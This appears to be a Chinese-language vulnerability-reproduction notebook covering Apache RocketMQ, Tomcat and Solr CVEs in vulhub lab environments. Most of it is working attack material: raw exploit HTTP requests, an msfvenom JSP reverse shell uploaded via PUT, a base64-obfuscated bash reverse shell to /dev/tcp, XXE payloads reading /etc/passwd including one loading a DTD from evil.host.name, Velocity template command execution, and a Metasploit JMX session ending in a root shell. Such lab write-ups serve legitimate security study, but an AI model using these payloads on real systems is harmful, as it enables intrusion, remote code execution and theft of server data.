        DefaultMQAdminExt admin = new DefaultMQAdminExt();
        admin.setNamesrvAddr("0.0.0.0:12345");
        admin.start();
        admin.updateBrokerConfig(targetAddr, props);
        Properties brokerConfig = admin.getBrokerConfig(targetAddr);
        System.out.println(brokerConfig.getProperty("rocketmqHome"));
        System.out.println(brokerConfig.getProperty("filterServerNums"));
        admin.shutdown();
    }
}

在控制台成功输出新的配置后，请等待30秒左右，将可以看到touch /tmp/success已成功被执行：

简单分析

为什么要修改filterServerNums属性：如果配置的filterServerNums为0，计算得出的more也会是0，因此无法进入callShell方法执行命令。

public void createFilterServer() {
    int more =
        this.brokerController.getBrokerConfig().getFilterServerNums() -
        this.filterServerTable.size();
    String cmd = this.buildStartCommand();
    for (int i = 0; i < more; i++) {
        FilterServerUtil.callShell(cmd, log);
    }
}

public static void callShell(final String shellString, final Logger log) {
    Process process = null;
    try {
        String[] cmdArray = splitShellString(shellString);
        process = Runtime.getRuntime().exec(cmdArray);
        process.waitFor();
        log.info("CallShell: <{}> OK", shellString);
    } catch (Throwable e) {
        log.error("CallShell: readLine IOException, {}", shellString, e);
    } finally {
        if (null != process)
            process.destroy();
    }
}

为什么要修改rocketmqHome属性：在构建命令的时候，最终会调用splitShellString方法按照空格对参数进行分割，所以不可以是NamesrvAddr参数，只能是开头的rocketmqHome参数，但是由于参数分割规则，所以需要更严格的命令和巧妙的技巧才可以执行。

private String buildStartCommand() {
    String config = "";
    if (BrokerStartup.CONFIG_FILE_HELPER.getFile() != null) {
        config = String.format("-c %s",
        BrokerStartup.CONFIG_FILE_HELPER.getFile());
    }
    if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
        config += String.format(" -n %s",
        this.brokerController.getBrokerConfig().getNamesrvAddr());
    }
    if (NetworkUtil.isWindowsPlatform()) {
        return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
        this.brokerController.getBrokerConfig().getRocketmqHome(),
        config);
    } else {
        return String.format("sh %s/bin/startfsrv.sh %s",
        this.brokerController.getBrokerConfig().getRocketmqHome(),
        config);
    }
}

Apache-Tomcat

CVE-2017-12615

Tomcat PUT方法任意写文件漏洞

漏洞描述

2017年9月19日，Apache Tomcat官方确认并修复了两个高危漏洞，其中就有远程代码执行漏洞(CVE-2017-12615)。当启用了HTTP PUT请求方法（例如，将 readonly 初始化参数由默认值设置为 false），攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件，JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

影响版本

Apache Tomcat 7.0.0 - 7.0.81

环境搭建

git clone https://github.com/vulhub/vulhub.git
cd vulhub/tomcat/CVE-2017-12615
docker-compose up -d

运行完成后访问http://your-ip:8080即可看到Tomcat的Example页面。

漏洞原理

参考：

漏洞本质Tomcat配置了可写（readonly=false），导致我们可以往服务器写文件：

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

虽然Tomcat对文件后缀有一定检测（不能直接写jsp），但我们使用一些文件系统的特性（如Linux下可用/）来绕过了限制。

漏洞复现

直接发送以下数据包即可在Web根目录写入shell：

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

如下：

msf生成一个jsp木马

msfvenom -p java/jsp_shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=9999 -f raw > shell.jsp

利用PUT方法上传木马

curl -v -X PUT --data-binary @shell.jsp "http://xxx.xxx.xxx.xxx:8080/shell.jsp/"

成功上传木马文件

a963d85c-3514-490e-905f-1b6193c75adf

访问文件即可反弹一个shell

CVE-2020-13935

Apache Tomcat WebSocket 拒绝服务漏洞

漏洞描述

2020年11月06日，360CERT监测发现@RedTeamPentesting发布了Tomcat WebSokcet 拒绝服务漏洞 的分析报告该漏洞编号为 CVE-2020-13935 ，漏洞等级：高危 ，漏洞评分：7.5 。

未授权的远程攻击者通过发送 大量特制请求包 到Tomcat服务器 ,可造成服务器停止响应并无法提供正常服务

漏洞影响

Apache Tomcat 10.0.0-M1-10.0.0-M6

Apache Tomcat 9.0.0.M1-9.0.36

Apache Tomcat 8.5.0-8.5.56

Apache Tomcat 7.0.27-7.0.104

环境搭建

https://github.com/vulhub/vulhub.git
cd vulhub/tomcat/CVE-2020-1938
docker-compose up -d

cbe1eedd-5a2a-4147-b44c-d2789769015f

漏洞复现

访问目标，查看版本是否在漏洞版本范围内

3d20af61-6f99-43d2-a3aa-cba9927d6edd

查看攻击前的内存使用情况

08a26613-a260-4225-8c9a-f728db2258ed

01a1b582-b9d7-4377-9ce0-33ef5caf34cb

tcdos    ws://192.168.51.133:8080/examples/websocket/echoStreamAnnotation

CVE-2020-1938

Aapache Tomcat AJP 文件包含漏洞（CVE-2020-1938）

Java 是目前 Web 开发中最主流的编程语言，而 Tomcat 是当前最流行的 Java 中间件服务器之一，从初版发布到现在已经有二十多年历史，在世界范围内广泛使用。

Ghostcat（幽灵猫）是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞，由于 Tomcat AJP 协议设计上存在缺陷，攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件，例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下，配合文件包含的利用还可以达到远程代码执行的危害。

参考链接：

影响版本

Apache Tomcat 6

Apache Tomcat 7 < 7.0.100

Apache Tomcat 8 < 8.5.51

Apache Tomcat 9 < 9.0.31

漏洞环境

执行如下命令启动一个Tomcat 9.0.30：

git clone https://github.com/vulhub/vulhub.git
cd vulhub/tomcat/CVE-2020-1938
docker-compose up -d

环境启动后，访问http://your-ip:8080即可查看tomcat默认页面，此时通过AJP协议的8009端口亦可访问Tomcat。

漏洞利用

利用官方网站在线测试：

利用如下工具均可测试漏洞：

POC

tomcat8

Tomcat7+ 弱口令 && 后台getshell漏洞

Tomcat版本：8.0

环境说明

Tomcat支持在后台部署war文件，可以直接将webshell部署到web目录下。其中，欲访问后台，需要对应用户有相应权限。

Tomcat7+权限分为：

manager（后台管理）
- manager-gui 拥有html页面权限
- manager-status 拥有查看status的权限
- manager-script 拥有text接口的权限，和status权限
- manager-jmx 拥有jmx权限，和status权限
host-manager（虚拟主机管理）
- admin-gui 拥有html页面权限
- admin-script 拥有text接口权限

这些权限的究竟有什么作用，详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html

在conf/tomcat-users.xml文件中配置用户的权限：

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">

    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
    
</tomcat-users>

可见，用户tomcat拥有上述所有权限，密码是tomcat。

正常安装的情况下，tomcat8中默认没有任何用户，且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下，才可以进行攻击。

漏洞测试

无需编译，直接启动整个环境：

docker compose up -d

打开tomcat管理页面http://your-ip:8080/manager/html，输入弱密码tomcat:tomcat，即可访问后台：

上传war包即可直接getshell。

solr

CVE-2017-12629-RCE

Apache Solr 远程命令执行漏洞（CVE-2017-12629）

漏洞原理与分析可以参考：

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发，主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞：XML实体扩展漏洞（XXE）和远程命令执行漏洞（RCE），二者可以连接成利用链，编号均为CVE-2017-12629。

本环境测试RCE漏洞。

漏洞环境

运行漏洞环境：

docker compose up -d

命令执行成功后，需要等待一会，之后访问http://your-ip:8983/即可查看到Apache solr的管理页面，无需登录。

漏洞复现

首先创建一个listener，其中设置exe的值为我们想执行的命令，args的值是命令参数：

POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}

POST /solr/demo/config HTTP/1.1
Host:
Connection: close
Content-Type: application/json  
Content-Length: 198

{
  "add-listener" : {
    "event":"newSearcher",
    "name":"newlistener-2",
    "class":"solr.RunExecutableListener",
    "exe":"bash",
    "dir":"/bin/",
    "args":[
         "-c",
         "mkdir /tmp/vuln",
    ]
  }
}

POST /solr/demo/config HTTP/1.1
Host:
Connection: close
Content-Type: application/json  
Content-Length: 198

{
  "add-listener" : {
    "event":"newSearcher",
    "name":"newlistener-2",
    "class":"solr.RunExecutableListener",
    "exe":"bash",
    "dir":"/bin/",
    "args":[
         "-c",
         "mkdir /tmp/vuln",
    ]
  }
}

然后进行update操作，触发刚才添加的listener：

POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15

[{"id":"test"}]

执行docker compose exec solr bash进入容器，可见/tmp/success已成功创建：

CVE-2017-12629-XXE

Apache solr XML 实体注入漏洞（CVE-2017-12629）

漏洞原理与分析可以参考：

本环境仅测试XXE漏洞，RCE和利用链，可以在 https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-RCE 中查看。

影响版本

Apache Solr < 7.1

Apache Lucene < 7.1

环境搭建

运行漏洞环境：

docker compose up -d

命令执行成功后，需要等待一会，之后访问http://your-ip:8983/即可查看到Apache solr的管理页面，无需登录。

漏洞复现

由于返回包中不包含我们传入的XML中的信息，所以这是一个Blind XXE漏洞。但我们可以利用Error Based XXE来读取文件。

利用Error Based XXE，需要找到符合条件的dtd文件，这里提供几个思路。

利用fontconfig-config的fonts.dtd

openjdk的Docker镜像安装了fontconfig-config，其包含一个dtd文件符合要求：/usr/share/xml/fontconfig/fonts.dtd。

构造XXE Payload如下：

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">

    <!ENTITY % expr 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>

    %local_dtd;
]>
<message>any text</message>

对其编码后发送：

GET /solr/demo/select?wt=xml&defType=xmlparser&q=%3C%3Fxml%20version%3D%221%2E0%22%20%3F%3E%0A%3C%21DOCTYPE%20message%20%5B%0A%20%20%20%20%3C%21ENTITY%20%25%20local%5Fdtd%20SYSTEM%20%22file%3A%2F%2F%2Fusr%2Fshare%2Fxml%2Ffontconfig%2Ffonts%2Edtd%22%3E%0A%0A%20%20%20%20%3C%21ENTITY%20%25%20expr%20%27aaa%29%3E%0A%20%20%20%20%20%20%20%20%3C%21ENTITY%20%26%23x25%3B%20file%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%0A%20%20%20%20%20%20%20%20%3C%21ENTITY%20%26%23x25%3B%20eval%20%22%3C%21ENTITY%20%26%23x26%3B%23x25%3B%20error%20SYSTEM%20%26%23x27%3Bfile%3A%2F%2F%2Fnonexistent%2F%26%23x25%3Bfile%3B%26%23x27%3B%3E%22%3E%0A%20%20%20%20%20%20%20%20%26%23x25%3Beval%3B%0A%20%20%20%20%20%20%20%20%26%23x25%3Berror%3B%0A%20%20%20%20%20%20%20%20%3C%21ELEMENT%20aa%20%28bb%27%3E%0A%0A%20%20%20%20%25local%5Fdtd%3B%0A%5D%3E%0A%3Cmessage%3Eany%20text%3C%2Fmessage%3E HTTP/1.1
Host: localhost.lan:8983
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Connection: close
Cache-Control: max-age=0

成功读取到/etc/passwd文件：

利用Jar包中的dtd文件

因为是黑盒，我们无法预测目标服务器安装的软件，利用软件内部的dtd文件会是一个更好的办法，比如Solr依赖的lucene-queryparser.jar中包含的LuceneCoreQuery.dtd。

构造XXE Payload如下：

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "jar:file:///opt/solr/server/solr-webapp/webapp/WEB-INF/lib/lucene-queryparser-7.0.1.jar!/org/apache/lucene/queryparser/xml/LuceneCoreQuery.dtd">

    <!ENTITY % queries 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>

    %local_dtd;
]>
<message>any text</message>

对其编码后发送：

GET /solr/demo/select?wt=xml&defType=xmlparser&q=%3C%3Fxml%20version%3D%221%2E0%22%20%3F%3E%0A%3C%21DOCTYPE%20message%20%5B%0A%20%20%20%20%3C%21ENTITY%20%25%20local%5Fdtd%20SYSTEM%20%22jar%3Afile%3A%2F%2F%2Fopt%2Fsolr%2Fserver%2Fsolr%2Dwebapp%2Fwebapp%2FWEB%2DINF%2Flib%2Flucene%2Dqueryparser%2D7%2E0%2E1%2Ejar%21%2Forg%2Fapache%2Flucene%2Fqueryparser%2Fxml%2FLuceneCoreQuery%2Edtd%22%3E%0A%0A%20%20%20%20%3C%21ENTITY%20%25%20queries%20%27aaa%29%3E%0A%20%20%20%20%20%20%20%20%3C%21ENTITY%20%26%23x25%3B%20file%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%0A%20%20%20%20%20%20%20%20%3C%21ENTITY%20%26%23x25%3B%20eval%20%22%3C%21ENTITY%20%26%23x26%3B%23x25%3B%20error%20SYSTEM%20%26%23x27%3Bfile%3A%2F%2F%2Fnonexistent%2F%26%23x25%3Bfile%3B%26%23x27%3B%3E%22%3E%0A%20%20%20%20%20%20%20%20%26%23x25%3Beval%3B%0A%20%20%20%20%20%20%20%20%26%23x25%3Berror%3B%0A%20%20%20%20%20%20%20%20%3C%21ELEMENT%20aa%20%28bb%27%3E%0A%0A%20%20%20%20%25local%5Fdtd%3B%0A%5D%3E%0A%3Cmessage%3Eany%20text%3C%2Fmessage%3E HTTP/1.1
Host: localhost.lan:8983
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Connection: close
Cache-Control: max-age=0

成功读取到/etc/passwd文件：

利用远程dtd文件

如果我们确实无法在目标服务器上找到合适的本地dtd文件，且服务器可以连接外网，也可以利用远程dtd文件来实现。

部署一个dtd文件在http服务器中：

<!ENTITY % test "example">
<!ELEMENT pattern (%test;)>

然后构造XXE Payload如下：

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "http://evil.host.name/include.dtd">

    <!ENTITY % test 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>

    %local_dtd;
]>
<message>any text</message>

对其编码后发送：

GET /solr/demo/select?wt=xml&defType=xmlparser&q=%3C%3Fxml%20version%3D%221%2E0%22%20%3F%3E%0A%3C%21DOCTYPE%20message%20%5B%0A%20%20%20%20%3C%21ENTITY%20%25%20local%5Fdtd%20SYSTEM%20%22https%3A%2F%2Fgist%2Egithubusercontent%2Ecom%2Fphith0n%2F188f03ac0f3c5d899895268f05fd0a51%2Fraw%2F7b481b122622d77c49c619fa047a52051f9652d8%2Finclude%2Edtd%22%3E%0A%0A%20%20%20%20%3C%21ENTITY%20%25%20test%20%27aaa%29%3E%0A%20%20%20%20%20%20%20%20%3C%21ENTITY%20%26%23x25%3B%20file%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%0A%20%20%20%20%20%20%20%20%3C%21ENTITY%20%26%23x25%3B%20eval%20%22%3C%21ENTITY%20%26%23x26%3B%23x25%3B%20error%20SYSTEM%20%26%23x27%3Bfile%3A%2F%2F%2Fnonexistent%2F%26%23x25%3Bfile%3B%26%23x27%3B%3E%22%3E%0A%20%20%20%20%20%20%20%20%26%23x25%3Beval%3B%0A%20%20%20%20%20%20%20%20%26%23x25%3Berror%3B%0A%20%20%20%20%20%20%20%20%3C%21ELEMENT%20aa%20%28bb%27%3E%0A%0A%20%20%20%20%25local%5Fdtd%3B%0A%5D%3E%0A%3Cmessage%3Eany%20text%3C%2Fmessage%3E HTTP/1.1
Host: localhost.lan:8983
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Connection: close
Cache-Control: max-age=0

成功读取到/etc/passwd文件：

CVE-2019-0193

Apache Solr 远程命令执行漏洞（CVE-2019-0193）

漏洞原理与分析可以参考：

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发，主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler，该模块是一个可选但常用的模块，用于从数据库和其他源中提取数据。它具有一个功能，其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本，因此攻击者可以通过构造危险的请求，从而造成远程命令执行。

漏洞影响

Apache Solr

网络测绘

FOFA: app="APACHE-Solr"

漏洞环境

运行漏洞环境：

https://github.com/vulhub/vulhub.git
cd vulhub/solr/CVE-2019-0193
docker-compose build
docker-compose up -d

# 创建一个solr核心test
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

命令执行成功后，需要等待一会，之后访问http://your-ip:8983/即可查看到Apache solr的管理页面，无需登录。

漏洞复现

首先在页面左侧选择demo核心，打开Dataimport面板，开启右侧Debug mode，填入以下POC：

<dataConfig>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
          }
  ]]></script>
  <document>
    <entity name="sample"
            fileName=".*"
            baseDir="/"
            processor="FileListEntityProcessor"
            recursive="false"
            transformer="script:poc" />
  </document>
</dataConfig>

点击Execute with this Confuguration会发送以下请求包：

POST /solr/demo/dataimport?_=1708782956647&indent=on&wt=json HTTP/1.1
Host: your-ip:8983
Content-Length: 613
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-type: application/x-www-form-urlencoded
Origin: http://your-ip:8983
Referer: http://your-ip:8983/solr/
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-US;q=0.7
Connection: close

command=full-import&verbose=false&clean=false&commit=true&debug=true&core=demo&dataConfig=%3CdataConfig%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fsuccess%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22sample%22%0A++++++++++++fileName%3D%22.*%22%0A++++++++++++baseDir%3D%22%2F%22%0A++++++++++++processor%3D%22FileListEntityProcessor%22%0A++++++++++++recursive%3D%22false%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport

执行docker compose exec solr ls /tmp进入容器，可见touch /tmp/success已成功执行：

将下面的POC代码填入 Debug-Mode 中

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

注意 POC 执行的代码中的base64字符串的位置请置换成自己的ip地址并base64加密填入

bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9999 0>&1
直接如上写入反弹无反应，不稳定，需要base64加密写才能反弹一个shell

点击EXecute执行代码

7217d375-48e1-460e-bb1e-c1db123daff1

999fb5d8-a762-4957-a9b7-a6e66df216dd

CVE-2019-12409

Apache Solr JMX服务 RCE

漏洞描述

Java ManagementExtensions（JMX）是一种Java技术，为管理和监视应用程序、系统对象、设备（如打印机）和面向服务的网络提供相应的工具。JMX 作为 Java的一种Bean管理机制，如果JMX服务端口暴露，那么远程攻击者可以让该服务器远程加载恶意的Bean文件，随着Bean的滥用导致远程代码执行。

影响版本

Apache Solr 8.1.1

Apache Solr 8.2.0

环境搭建

docker pull solr:8.2.0
docker run --name solr -d -p 8983:8983 -t solr:8.2.0

漏洞复现

查看搭建的Solr是否存在漏洞,查看solr.in.sh配置文件中的·ENABLE_REMOTE_JMX_OPTS·选项设置是否为“Ture”，如果为Ture，则存在漏洞

查看漏洞端口18983是否开放

nmap xxx.xxx.xxx.xxx -p 18983

98733fe0-bd66-40d2-95ff-322723fcf123

root@kali:~/桌面# msfconsole
                                                  
     ,           ,
    /             \
   ((__---,,,---__))
      (_) O O (_)_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *
                |||   WW|||
                |||     |||


       =[ metasploit v5.0.101-dev                         ]
+ -- --=[ 2049 exploits - 1108 auxiliary - 344 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Writing a custom module? After editing your module, why not try the reload command

msf5 > use exploit/multi/misc/java_jmx_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf5 exploit(multi/misc/java_jmx_server) > set rhost 192.168.51.146
rhost => 192.168.51.146
msf5 exploit(multi/misc/java_jmx_server) > set rport 18983
rport => 18983
msf5 exploit(multi/misc/java_jmx_server) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf5 exploit(multi/misc/java_jmx_server) > options

Module options (exploit/multi/misc/java_jmx_server):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   JMXRMI        jmxrmi           yes       The name where the JMX RMI interface is bound
   JMX_PASSWORD                   no        The password to interact with an authenticated JMX endpoint
   JMX_ROLE                       no        The role to interact with an authenticated JMX endpoint
   RHOSTS        192.168.51.146   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         18983            yes       The target port (TCP)
   SRVHOST       0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT       8080             yes       The local port to listen on.
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                        no        The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.51.149   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)


msf5 exploit(multi/misc/java_jmx_server) > run

[*] Started reverse TCP handler on 192.168.51.149:4444 
[*] 192.168.51.146:18983 - Using URL: http://0.0.0.0:8080/xln8izoCtDUbBVm
[*] 192.168.51.146:18983 - Local IP: http://192.168.51.149:8080/xln8izoCtDUbBVm
[*] 192.168.51.146:18983 - Sending RMI Header...
[*] 192.168.51.146:18983 - Discovering the JMXRMI endpoint...
[+] 192.168.51.146:18983 - JMXRMI endpoint on 127.0.1.1:18983
[*] 192.168.51.146:18983 - Proceeding with handshake...
[+] 192.168.51.146:18983 - Handshake with JMX MBean server on 127.0.1.1:18983
[*] 192.168.51.146:18983 - Loading payload...
[*] 192.168.51.146:18983 - Replied to request for mlet
[*] 192.168.51.146:18983 - Replied to request for payload JAR
[*] 192.168.51.146:18983 - Executing payload...
[*] 192.168.51.146:18983 - Replied to request for payload JAR
[*] Sending stage (53944 bytes) to 192.168.51.146
[*] Meterpreter session 1 opened (192.168.51.149:4444 -> 192.168.51.146:56234) at 2020-11-05 14:17:04 +0800

                                                                            
meterpreter >                                                                 
meterpreter > shell                                                            
Process 1 created.                                                              
Channel 1 created.                                                                
id                                                                                 
用户id=0(root) 组id=0(root) 组=0(root)

CVE-2019-17558

Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

Apache Solr 是一个开源的搜索服务器。

在其 5.0.0 到 8.3.1版本中，用户可以注入自定义模板，通过Velocity模板语言执行任意命令。

具体漏洞原理和POC可以参考：

影响版本

Apache Solr 5.x 至 8.2.0

漏洞环境

执行如下命令启动一个Apache Solr 8.2.0服务器：

git clone https://github.com/vulhub/vulhub.git
cd vulhub/solr/CVE-2019-17558
docker-compose build
docker-compose up -d

创建一个solr核心test

docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

服务启动后，访问http://your-ip:8983即可查看到一个无需权限的Apache Solr服务。

漏洞复现

默认情况下params.resource.loader.enabled配置未打开，无法使用自定义模板。我们先通过如下API获取所有的核心：

http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

Vulhub里唯一的核心是demo：

访问Core的config配置信息时，通过POST请求把{% em type="red" %}params.resource.loader.enabled{% endem %}设置为 True，再通过精心构造的get请求即可RCE，此时用户就可以加载指定资源，构造一个能执行命令的恶意请求

设置params.resource.loader.enabled为True

通过如下请求开启params.resource.loader.enabled，其中API路径包含刚才获取的core名称：

POST /solr/demo/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

之后，注入Velocity模板即可执行任意命令：

http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

反弹hell，因为部分命令会被过滤导致返回 Error 500 ，所以反弹shell需要用另外的反弹shell方法

POC : /bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/xxx.xxx.xxx.xxx:9999 0>&1

POC需要Urlencoding进行编码才能绕过

POC ： %2Fbin%2Fbash%20-c%20%24%40%7Cbash%200%20echo%20bash%20-i%20%3E%26%2Fdev%2Ftcp%2F{IP}%2F{PORT}%200%3E%261

CVE-2020-13957

Apache Solr RCE 未授权上传漏洞

漏洞描述

在特定的Solr版本中ConfigSet API存在未授权上传漏洞，攻击者利用漏洞可实现远程代码执行。

影响版本

Apache Solr 6.6.0 -6.6.5

Apache Solr 7.0.0 -7.7.3

Apache Solr 8.0.0 -8.6.2

环境搭建

选择一个存在漏洞的版本, 这里复现使用的是 Apache Solr 7.7.0 进行复现, 下载后执行以下命令进行环境部署

cd solr-7.7.0
./bin/solr start -e cloud -force

然后一路回车，直至出现

Created collection 'gettingstarted' with 2 shard(s), 2 replica(s) with config-set 'gettingstarted'

Enabling auto soft-commits with maxTime 3 secs using the Config API

POSTing request to Config API: http://localhost:8983/solr/gettingstarted/config
{"set-property":{"updateHandler.autoSoftCommit.maxTime":"3000"}}
Successfully set-property updateHandler.autoSoftCommit.maxTime to 3000


SolrCloud example running, please visit: http://localhost:8983/solr

访问 http://xxx.xxx.xxx.xxx:8983/solr/ 正常即可

漏洞复现

在攻击机上下载目标版本的Solr,执行下列命令打包压缩文件

solr-7.7.0/server/solr/configsets/sample_techproducts_configs/conf
zip -r - * > vuln.zip

540ba570-fe93-4fc6-b7fd-f5a5a7fc8f3f

将 vuln.zip 进行上传

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @vuln.zip "http://xxx.xxx.xxx.xxx:8983/solr/admin/configs?action=UPLOAD&name=vuln"

